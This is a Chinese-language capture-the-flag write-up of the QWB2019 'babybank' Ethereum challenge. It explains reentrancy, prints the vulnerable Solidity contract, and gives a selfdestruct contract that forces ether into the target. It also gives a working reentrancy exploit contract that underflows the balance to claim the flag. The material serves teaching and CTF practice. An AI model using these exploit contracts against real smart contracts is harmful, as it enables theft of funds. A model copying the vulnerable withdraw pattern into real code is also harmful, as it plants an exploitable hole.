Re-Entrancy(1) wiki部分
什么是重入攻击
假设有两个合约A和合约B,合约A调用合约B。在这种攻击中,当第一个调用仍在执行时,合约B调用合约A,这在某种程度上导致了一个循环。
每当我们将以太坊发送到智能合约地址时,我们都会调用我们所说的fallback函数。
参考文章 github题目 wp
QWB2019_babybank 合约地址0x666dD57a3aFf9768B08a80c55E2000a0a7740541
攻击账户0x16eBd81c05A40B5D8d52E190819Ef1071E23B1b1
源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 pragma solidity ^0.4 .23 ; contract babybank { mapping(address => uint ) public balance; mapping(address => uint ) public level; address owner; uint secret; event sendflag(string md5ofteamtoken,string b64email); constructor()public { owner = msg.sender; } function payforflag (string md5ofteamtoken,string b64email) public { require (balance[msg.sender] >= 10000000000 ); balance[msg.sender]=0 ; owner.transfer(address(this).balance); emit sendflag(md5ofteamtoken,b64email); } modifier onlyOwner(){ require (msg.sender == owner); _; } function profit () public { require (level[msg.sender]==0 ); require (uint (msg.sender) & 0xffff ==0xb1b1 ); balance[msg.sender]+=1 ; level[msg.sender]+=1 ; } function set_secret (uint new_secret) public onlyOwner { secret=new_secret; } function guess (uint guess_secret) public { require (guess_secret==secret); require (level[msg.sender]==1 ); balance[msg.sender]+=1 ; level[msg.sender]+=1 ; } function transfer (address to, uint amount) public { require (balance[msg.sender] >= amount); require (amount==2 ); require (level[msg.sender]==2 ); balance[msg.sender] = 0 ; balance[to] = amount; } function withdraw (uint amount) public { require (amount==2 ); require (balance[msg.sender] >= amount); msg.sender.call.value(amount*100000000000000 )(); balance[msg.sender] -= amount; } }
分析 payforflag
函数是我们的目标,但通常都会有限制,这题就一个要求balance[msg.sender] >= 10000000000
,要求balance大于一个很大的数10000000000。
profit
要求账户后缀为b1b1,同上一篇文章脚本使用即可生成,然后可以让balance,level都+1。
guess
函数会验证secret值,而secret值由只能合约所有者调用的xxx函数赋予;且需要level=1,调用一次之后level提升为2,balance+1。
transfer
转账函数,一次只能转2,并且要求level[msg.sender]==2。
withdraw
函数就是漏洞点了,漏洞很明显存在重入攻击,并且balance可以下溢出,这样就和payforflag的要求对上了。但是这里需要注意一点合约本身没有eth,并且合约代码中并没有相关可以转入ETH的操作,所以需要用selfdestruct强制转入eth。同时函数要求amount==2。
所以攻击流程就出来了。
先部署一个合约通过selfdestruct给题目合约进行转账
然后切换后缀为b1b1
的账户先调用profit(),再guess()。profit函数的绕过,可通过脚本(同上篇文章)获取一个符合条件的地址。guess函数的绕过,secret值在合约交易信息中可找到。
利用transfer给攻击合约转账2,攻击合约即可重入
攻击 部署转账合约
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 pragma solidity ^0.4 .23 ; contract transfer_contract { address owner; constructor ( ) { owner = msg.sender; } function ( ) payable { } modifier Onlyowner ( ) { require (msg.sender == owner); _; } function kill (address to ) public payable Onlyowner { selfdestruct(to); } }
转账1 eth
查看题目合约交易信息发现secret为0x123564831521
依次调用profit(),guess函数。查看storage。
部署重入攻击合约
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 pragma solidity ^0.4 .23 ; contract exp{ address instance_address = 0 x666dD57a3aFf9768B08a80c55E2000a0a7740541; bool status = false ; uint have_withdraw = 2 ; function pay() public { if (have_withdraw >= 0 ){ address(instance_address).call(bytes4(0 x2e1a7d4d), 2 ); have_withdraw = have_withdraw -1 ; } } function getflag(string md5ofteamtoken,string b64email) public { address(instance_address).call(0 x8c0320de,md5ofteamtoken,b64email); } function () payable { if (!status) { status = true ; address(instance_address).call(bytes4(0 x2e1a7d4d), 2 ); } } }
利用transfer函数给攻击合约转2 amount
,攻击合约调用pay()即可重入
查看storage,已经下溢出
最后调用攻击合约的getflag即可
可以看到交易中还有一个transfer调用,这是因为在payforflag
中还存在owner.transfer(address(this).balance);
清空合约余额的操作,可能是为了下一个做题者考虑。